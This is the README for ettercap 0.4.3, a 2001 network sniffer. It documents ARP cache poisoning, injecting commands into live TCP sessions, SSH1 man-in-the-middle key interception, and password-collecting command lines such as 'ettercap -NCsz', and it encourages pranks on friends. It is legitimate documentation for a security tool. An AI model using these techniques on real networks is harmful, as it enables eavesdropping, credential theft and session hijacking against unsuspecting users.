============================================================================
                                ettercap 0.4.3                    2001-05-11
============================================================================

    Even if blessed with a feeble intelligence they are cruel and smart...


       @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@
       @@        @@@     @@@   @@      @@   @@ @@      @@   @@ @@   @@
       @@@@@@    @@@     @@@   @@@@@@  @@@@@@  @@      @@@@@@@ @@@@@@
       @@        @@@     @@@   @@      @@  @@  @@      @@   @@ @@
       @@@@@@@   @@@     @@@   @@@@@@@ @@  @@@ @@@@@@@ @@   @@ @@


                     Multi purpose sniffer/interceptor



         Required Libraries:              none ;)  (optionally ncurses 4.2)

         Optional Libraries:              openssl  (if you want ssh support)

         Installation:                    configure
                                          make
                                          make install

                         (optional)       make plug-ins
                                          make plug-ins_install

      (if you are lazy run only this)     make complete_install

============================================================================
                                    INTRO
============================================================================

Kiddie:   A friend of mine told me that it is possible to sniff on a LAN...
          so I bought a switch ;)

NaGoR:    mmhhh....

Kiddie:   Now my LAN is SECURE ! you can't sniff my packets... ah ah ah

NaGoR:    are you sure ? look at ettercap doing its work...

Kiddie:   Oh my god... it sniffs all my traffic !!
          I will use only ciphered connection on my LAN, so ettercap can't
          sniff them ! ah ah ah

NaGoR:    mmhhh....

Kiddie:   Now I'm using SSH.  My LAN is SECURE !

NaGoR:    are you sure ? look at ettercap doing its work...

Kiddie:   shit !!  grrrr...


 "a false sense of security, is worst than insecurity"   -- Steve Gibson

 ehi folks... wake up !  the net is NOT secure !!

 ettercap demonstrates that now is the time to encourage research on
 internet protocols to make them more secure.


============================================================================
                                   LICENSE
============================================================================

   GNU GENERAL PUBLIC LICENSE.

   see COPYING for details...


============================================================================
                                   AUTHORS
============================================================================

   Alberto Ornaghi (ALoR) <alor@users.sourceforge.net>

   Marco Valleri (NaGA) <crwm@freemail.it>


============================================================================
                              TABLE OF CONTENTS
============================================================================


   1. DISCLAIMER............................................sez.  1

   2. INSTALLATION..........................................sez.  2

   3. HOW TO USE IT.........................................sez.  3

      3.1   ncurses interface
      3.2   command line

   4. TROUBLESHOOTING.......................................sez   4
			common problems solved (READ THIS BEFORE MAIL US)

   5. TECHNICAL PAPER.......................................sez   5

      5.1   The host list
      5.2   IP based sniffing
      5.3   MAC based sniffing
      5.4   ARP based sniffing
         5.4.1    arp poisoning
         5.4.2    characters injection
         5.4.3    active protocol dissection
         5.4.4    SSH1 man-in-the-middle        NEW !!
         5.4.5    packet filtering              NEW !!

   6. PLUG-INS..............................................sez.  6

   7. USELESS INFORMATION...................................sez.  7


============================================================================
1>                               DISCLAIMER
============================================================================


 This software is provided "as is" and without any expressed or implied
 warranties, including, without limitation, the implied warranties of
 merchantability and fitness for any particular purpose.


============================================================================
2>                              INSTALLATION
============================================================================

 The easiest way to compile ettercap is in the form:

    ./configure

    make

    make install

 Now you should be able to run ettercap (it installs as default in
 /usr/local/bin)
 There are a lot of useful options in configure: try using --help.

 If you'd like to suid ettercap, enabling thus other users, and not only
 root, to use the program, use --enable-suid before applying suid to
 ettercap with chmod, otherwise it would drop the applied suid.

 If you have problems with plug-ins, disable them by using --disable-plugins

 If you have installed OpenSSL in a different DIR use --with-openssl=DIR
 If you get an error linking OpenSSL with ettercap, try recompiling OpenSSL
 with "Config shared && make && make install" (on my box it worked ;) )

 If you still have difficulties, send an e-mail message one of the authors
 (alor@users.sourceforge.net or crwm@freemail.it).
 The sourceforge ettercap homesite could also contain useful information,
 latest bug fixes and updated versions (ettercap.sourceforge.net).

 Bug reports are welcome. Please report problems in the configure/make
 process by including a copy of config.status, config.cache and config.log,
 as well as the pertinent compiler diagnostics. If you have problems in the
 program, please configure with --enable-debug and send also a copy of
 ettercap_debug.log and a short description of your configuration
 (eg. kernel and glibc version) when reporting a sigfault or other strange
  behaviors.


============================================================================
3>                              HOW TO USE IT
============================================================================

 There are two main interfaces available, both for text-mode, one in plain
 b/w character interface, and another with ncurses windowish colorful and
 pleasure-full character mode!

3.1 NCURSES INTERFACE

 Let's start showing you the latter one:
 If ettercap is invoked without options (see later on, for the command line
 options) it will run the ncurses interface (a short delay to scan your LAN
 could be noticed =).
 The main window is divided in 3 subsections: top, middle and bottom.
 In the top window there is the connection diagram, displaying the two
 machines to sniff or to connect and operate to.
 Below you will see the list of known hosts in the current LAN (with hub or
 switch) that you can reach: select a couple to sniff them.
 The two identical columns let you choose the said couple: select with the
 arrow keys an entry representing an ip of an active machine ([enter] will
 do this job =) on the left.
 Then switch to the second column on the right with [tab], and move as usual
 to select the second ip. This will represent the traffic route you would
 like to sniff (and eventually connect/poison).
 Obviously you cannot select the same source and destination, but you are in
 any case not forced to select your IP.
 In the bottom window, there is a sort of status bar, giving you additional
 information about currently selected objects, current status and eventually
 other important hints.
 There are also a lot of other nifty options that are selectable at this
 point, first of all the 'p' plug-in feature (these are separate features,
 externally programmed in this project, with a vast cover of applications,
 not displayable here: there is a special README-PLUGIN for this).
 Or the ability to inspect with the 'c' key, if there is an other "evil"
 proggy in your LAN running, and thus alerting you of possible data
 interception.
 But remember that throughout all the stages of the program you can always
 press 'h' for help, and a nice help window will show up and list you the
 currently available keys!

 These should be anyway self-explanatory help windows, so probably there is
 no need in reading this sections here, but.. in case.
 You'll notice that the top window will update while selecting source and
 destination ip, and finally show the current status scheme if you connect
 or sniff (respectively pressing 'a' and 's' or 'm')
 IP Based sniffing filters connections looking in the IP header for matching
 IPs. This is the old style, classic method performed by most programs.
 MAC Based sniffing filters connections looking in ETH header for matching
 MACs. This is useful if you want to sniff connections from your local host
 and a remote host through your gateway (simply selecting your host and your
 gateway as source and destination).
 Finally there is the connect option, as said, that lets you, if your
 computer results connected to a switched LAN, poison the ARP cache
 permitting you to sniff the traffic on your local net as if you where on
 a network with an hub.
 With this option you can specify one or two host. If you select only one
 host you'll enter the PublicARP mode and you will overtake the selected IP
 with yours.
 If you specify both hosts you will enter the ARPBased Mode that allows you
 to view all the bidirectional traffic between the two hosts.

 CONNECTIONS LIST:

 In any case, now you enter the second stage: the central main window now
 will list active connections between the two sources IPs, if there are.
 So eventually open connections show up, and you can select them as usual,
 allowing you to enter the third stage: the real sniff! =)
 In the meanwhile you can anyway look at the status of the connections
 (active, closed, etc) and see what type of traffic/port is used (ftp, ssh,
 web, etc).
 It is also possible to kill an active connection of any type.
 If the application protocol is supported by ettercap you can see, in the
 bottom window, some useful information about the highlighted connection,
 such as USER and PASSWORD used for interactive sessions.
 If you used ARPBased mode you can also start ACTIVE PROTOCOL DISSECTION,
 that allows you to view particular ciphered protocols like ssh.

 PACKET FACTORY:

 with 'x' you can create your own packet from ethernet layer to application
 level. by default the field of the packet factory form are filled with the
 current highlighted connection properties. the same can be done in the host
 list (the first interface) but now the field are not autocompleted if you
 don't select a target host. All the field can be modified as you want and
 for non supported protocol there is the possibility to build a raw header
 made up of hex string.
 es:  assume that we want to forge a RIP packet:
      we fill the forms until UDP header (port 520) and in the payload we
      write "\x01\x02\x00\x00\xFF\xFF\x00\x02here the pass"
      we have built the RIP header by hex sequences...

 SNIFFING:

 Now assume you selected an active connection: two sub-windows appear in the
 main one. They show you source packets passing through your computer before
 reaching destination, you sniff traffic without that they notice it! There
 are different visualization options here: the type of stream can be hex
 ('x' key) or ascii ('a' key) that is specifically decoded for supported
 protocols; some decoders needs the ACTIVE PROTOCOL DISSECTION to be ON.
 You can also specify to suspend the stream of data (only prevents their
 visualization, in reality they go forward in background) as a sort of
 scroll-lock (press 's' key), for better data-analysis.

 Finally, there is also a very cool feature: INJECT.

 With the 'i' key you can also inject some chars in the traffic, choosing
 the direction, being able to add commands to the stream (i.e. you could
 sniff a telnet session and also being able to transmit some commands to the
 machine connected to. Like "ls" or whatever you want, and they have
 absolutely effect as if originated by the source! The same way you could
 generate fake output on the originating machine, not responding to the real
 output).
 NEW : Injector now supports escape sequences. you can make multi-line
       injection.
 NOTE: remember to terminate your injection with \n\r if you want to inject
       command to the server.

 Last, but not least, PACKET FILETRING:

 With the 'f' key a form is displayed asking you to set up a filter.
 Pay attention on the active window, because source and dest filter are
 different.
 You can set up a filter that search for a particular string (even hex) in
 the TCP or UDP payload and replace it with yours or drop the entire packet.

 Available commands while in the filtering form:

  F10 or ESC -- exit the form
  ^N         -- go to next field          ^P    -- go to previous field
  Home       -- go to first field         End   -- go to last field
  ^L         -- go to field to left       ^R    -- go to field to right
  ^U         -- move upward to field      ^D    -- move downward to field
  ^W         -- go to next word           ^B    -- go to previous word
  ^S         -- go to start of field      ^E    -- go to end of field
  ^H         -- delete previous char      ^Y    -- delete line
  ^G         -- delete current word       ^C    -- clear to end of line
  ^K         -- clear to end of field     ^X    -- clear field
  ^] or Ins  -- toggle insert mode

 For a detailed explanation fow "how to filter a connection" see sect. 5.4.5

 There is also an option to log all this beautiful data streams to file,
 just press 'l', then read it down or pass it trough an automated script
 filter with calm.
 You can also set up a filter with the rule "Log" and only the packet
 matching the criteria will be logged to the file.

 As you will notice, using the tool in visual mode will be simpler when
 trying it on run than by reading this instructions.. help is also a good
 resource to count on while operating.

3.2 COMMAND LINE

 Well here there are two classical commands that will respond you with an
 answer, being the command list reference: launching ettercap with the
 --help switch and invoking our man page (man ettercap ;).
 ->Some features are available only from visual interface.

 Starting in non interactive mode (-N) there are also available some
 features bound to the interactive mode: you can activate a little help line
 and change visualization mode on the fly (between hex and ascii for example)
 In the same way it is possible to set up a lot of options form the command
 line and see them in interactive mode already set and started.

 Now there is also the possibility to shorten command usage, by specifying
 one or more hosts to sniff (if you are in silent mode, also one or none is
 possible by setting -z option: like sniffit that sniffs from everywhere =)

 Ex:

  ettercap -Nsz  (sniff data from every ip)

  ettercap -NCsz  (collect only users and passwords from every ip)

  ettercap -NCsz ghibli meltemi (collect only from "ghibli" to "meltemi")

 NOTE: if you had started in interactive mode (without -N) it would have
       been necessary to specify 'r' to refresh the ip host list if you
       returned with 'q' to the first interface, since no list has been
       generated at the beginning due to the -z option.
       ex: ettercap -zs ghibli meltemi          or
           ettercap -zm 00:A0:24:4C:00:F9 00:A0:24:36:00:C2

 Ok, that's all..

 Have fun and await the next versions, including ssh handling, you could do
 some happy jokes to your friends, especially if they are the ones who
 believe that ssh is an absolutely not-sniffable and cryptographically
 unbreakable thing, better on if they also believe in switches doing their
 job! =)


============================================================================
4>                             TROUBLESHOOTING
============================================================================

 There are really a lot of things that could happen to you as of installing
 this proggy. Thus don't blame us in case of accidents or hours spent trying
 to compile etc.. In this state, till we reach a *very* stable version there
 will be no troubleshooting section, which would be to large and infeasible
 to write down and do the necessary spread out betatests.
 But we'll do our best, try to compile in lots of machines, port it as much
 as possible, and clean up everything. For now the main aspect was to write
 down base ideas and see them work. When the main skeleton is completed
 there will be a lot of fine tune.

 The best thing to do if you need support or help in compiling is to read
 the forum on ettercap website. Here you can find common solutions for many
 problems.

 Then we will write down a sort of FAQ and a problem resolve list or todos
 here in this section.

RPM VERSION:

 We'd like to know you that there are problems in particular when
 installing the rpm binary version of ettercap, including ncurses, which
 can easily be miss-detected: simply try to add --nodeps to the rpm line.

COMPILING WITH OPENSSL:

 Ettercap needs the shared version of OpenSSL so if you experience a problem
 linking ettercap try recompiling OpenSSL with:

 "config shared && make && make install"

 then edit the /etc/ld.so.conf and add the installed path.
 the run "ldconfig"

START UP TOO SLOW:

 if the "Building host list for netmask 255.255.255.0, please wait..."
 message is displayed for more than 5-10 seconds, probably your
 gethostbyaddr() is too slow resolving domains, so try starting with -d
 this option prevent the resolution of the IPs.


============================================================================
5>                             TECHNICAL PAPER
============================================================================


5.1   THE HOST LIST

 When ettercap starts it makes the list of the hosts that are in the lan.
 Sending one ARP REQUEST for each ip in the lan (looking at the current ip
 and netmask), it is possible to get the ARP REPLYs and than make the
 list of the host that are responding in this lan. With this method even
 windowish hosts, reply to the call-for-reply (they don't reply on
 broadcast-ping).
 Be very careful if the netmask is a class B (255.255.0.0) because ettercap
 will send 255*255 = 65025 arp requests, it takes more than a minute !! (the
 delay between two requests is 1 millisecond)


5.2   IP BASED SNIFFING

 This is the "old style" sniffing mode.
 It puts the network interface in promisc mode and then sniffs all packets
 matching the ip filter.
 If you are using the ncurses interface, the ip filter is made up of: ip
 source, port source, ip dest, port dest; in both the directions of the
 connection.
 Instead if using the command line, you can make a personalized ip filter.
 You can specify only the source, only the dest or both. each with or
 without an associated port.

   Examples:

     ettercap -N -s ghibli
     ettercap -N -s ghibli:23

  the first will sniff all the connections to the host "ghibli"
  the second only those which are on the port 23

     ettercap -N -s ghibli meltemi
     ettercap -N -s ghibli:23  meltemi
     ettercap -N -s ANY:23

  the first will sniff all the connections between "ghibli" and "meltemi"
  the second only those which are on ghibli:23 coming from "meltemi"
  the third ANY host but on port 23 (telnet)


5.3   MAC BASED SNIFFING

 It puts the network interface in promisc mode and then sniffs all the
 packets that match the mac filter.
 The mac filter is made up giving the IPs of the two hosts. Ettercap will
 scan the host list and associates the correct mac address to the filter.
 In this way specifying the gateway's ip and an host's ip, you will get
 all the connections between the host and the Internet.

   Examples:

   assuming that "meltemi" is the gateway to internet.

     ettercap -N -m ghibli meltemi

   this will return all the connections that "ghibli" makes to remote hosts.


5.4   ARP BASED SNIFFING

 This method doesn't put the interface in promiscuous mode. It isn't
 necessary because the packets will be sent to us! :) The switch will
 forward the packets to us, so we have a good method for sniffing in
 switched LANs.
 Let's view how this is possible:
 when you select this method, ettercap will poison the arp cache of the
 two hosts, identifying itself as the other host respectively (see the
 next section for this).
 Once the arp caches are poisoned, the two hosts start the connection, but
 their packets will be sent to us, and we will record them and, next,
 forward them to the right side of the connection. So the connection is
 transparent to the victims, not arguing that they are sniffed. The only
 method to discover that there is a man-in-the-middle in your connection, is
 to watch at the arp cache and check if there are two hosts with the same
 mac address!
 That is how we do, to discover if there are others poisoning the arp cache
 in our LAN, thus being warned, that our traffic is under control! =)

     HOST 1  - - - - - - - - - - - - - - - - - - - -> HOST 2
   (poisoned)                                      (poisoned)
       |                                               ^
       |                                               |
        ------------> ATTACKER HOST  ------------------
                      ( ettercap )

 Legenda:
             - - - ->   the logic connection
             ------->   the real one

 Ok, cool! Though, how can I poison the arp cache ?


5.4.1    ARP POISONING

 The arp protocol has an intrinsic insecurity. In order to reduce the
 traffic on the cable, it will insert an entry in the arp cache even if it
 hadn't request it. In other words, EVERY arp reply that goes on the wire
 will be inserted in the arp table.
 So, we take advantage of this "feature", sending fake arp replys to the two
 hosts we will sniff. In this reply we will tell that the mac address of the
 second host is the one hard-coded on OUR ethernet card. This host will now
 send packets that should go to the first host, to us, because he carries
 our mac address.
 The same process is done for the first host, in inverse manner, so we have
 a perfect man-in-the-middle connection between the two hosts, legally
 receiving their packets!!

   Example:

     HOST 1:  mac: 01:01:01:01:01:01         ATTACKER HOST:
               ip: 192.168.0.1                    mac: 03:03:03:03:03:03
                                                   ip: 192.168.0.3

     HOST 2:  mac: 02:02:02:02:02:02
               ip: 192.168.0.2


   we send arp replys to:

            HOST 1 telling that 192.168.0.2 is on 03:03:03:03:03:03
            HOST 2 telling that 192.168.0.1 is on 03:03:03:03:03:03

   now they are poisoned !! they will send their packets to us !
   then if receive packets from:

            HOST 1 we will forward to 02:02:02:02:02:02
            HOST 2 we will forward to 01:01:01:01:01:01

   simply, isn't it ?


5.4.2    CHARACTERS INJECTION

 We have stated that the packets are for us...
 And the packets will not be received by destination until we forward them.
 But what happens if we change them?
 Yes, they reach destination with our modifications.
 We can modify, add, delete the content of these packets, by simply
 recalculate the checksum and substitute them on the traffic.
 But we can do also more: we can insert packets in the connection.
 We forge our packets with the right sequence and acknowledgement number and
 send them to the desired host. When the next packets will pass through us
 we simply subtract or add the sequence number with the amount of data we
 have injected till the connection is alive, preventing the connection to be
 rejected (this until we close ettercap, who maintains sequence numbers
 correct, after program exit, the connection must be RESETTED or all future
 traffic would be rejected, blocking the source workstation network).

 NOTE: Injector supports escape sequences. you can make multi-line injection
       eg: "this on line one \n this on line two \n and so on..."
       eg: "this in hex mode: \x65\x6c\x6c\x65"
       eg: "this in oct mode: \101\108\108\101"

 NOTE: remember to terminate your injection with \n\r if you want to inject
       command to the server.


5.4.3 ACTIVE PROTOCOL DISSECTION (for ARPBASED mode)

 To view in strongly-ciphered streams you need to act straight on the stream
 For example you need to change key-packets (man-in-the-middle technique).
 In particular cases this will result in a fault of the protocol, so pay
 attention using this feature.
 The used method changes from protocol to protocol and is more difficult to
 explain than to code it.
 So I'm sorry but you have to examine the source code if you really want
 to know how it works.


5.4.4 SSH1 MAN-IN-THE-MIDDLE

 When the connection starts (remember that we are the master-of-packets, all
 packets go through ettercap) we substitute the server public key with one
 generated on the fly and save it in a list so we can remember that this
 server has been poisoned before.
 Then the client send the packet containing the session key ciphered with
 our key, so we are able to decipher it and sniff the real 3DES session key.
 Now we encrypt the packet with the correct server public key and forward it
 to the SSH daemon.
 The connection is established normally, but we have the session key !!
 Now we can decrypt all the traffic and sit down watching the stream !
 The connection will remain active even if we exit from ettercap, because
 ettercap doesn't proxy it (like dsniff). After the exchange of the keys,
 ettercap is only a spectator... ;)


5.4.5 PACKET FILTERING

 Like injecting character, we can modify the packets of a connection and
 replace the right sequence and acknowledgement number if needed.
 So you can set up a filter that search for a particular string (even hex)
 in the TCP or UDP payload and replace it with yours or drop the entire
 packet.
 To set up a filter, you must connect two host in arp based mode, then
 select the connection you want to filter and set up a filter on source or
 on destination traffic by hitting 'F'. A form will be displayed with the
 current filter. If you want to stop filtering, simply set a void filter.
 You can search and replace even escaped string like "\x72\x6f\x6f\x74".

 NOTE: the form automatically trims the trailing spaces of the strings, so
       if you want to search for "ettercap ", you have to set a filter on
       "ettercap\x20". "\x20" will be escaped with " ".

 NOTE: If the replaced payload exceed the legal MTU (as you can replace a
       string bigger than the searched one), the filter silently fails
       leaving the payload untouched (the check is made before replacing),
       so be aware of what you are filtering and how... ;)


============================================================================
6>                                 PLUG-INs
============================================================================


 see README.PLUGINS


============================================================================
7>                            USELESS INFORMATION
============================================================================


Project started on :       2000-11-25

Last stable release :      0.4.3          Our software never has bugs.
                                          It just develops random features.

Published on :             2001-05-11
                                    whenever a code runs it's just obsolete


Editor :                   vi, vim, gvim, mcedit, UltraEdit


greetings to :             The IEEE 802.3  standard  :)
                           ISO/OSI organization
                           Andrew S.Tanenbaum
                           Berkeley University

                           the SiLAB (university lab)
                           JJ's corner PUB

ALoR greetings:            VMWare staff ;)
                           elle (she knows for what...)
                           Raptor


NaGA greetings:            Heineken Inc.
                           My MP3 player
                           N-Team
                           MegaBug


fucks to :                 tutte le tipe che se la menano ;)
                           mcedit (it sucks!)


Motto :                    Specialization is for insects, a human being
                           should be able to do anything!

Who we are :               If you think you know us... YOU DON'T.
                           If you don't know us... YOU WILL.

Shakespeare :              question = ( to ) ? be : !be;

0xABADC0DE==============================================================EC-2K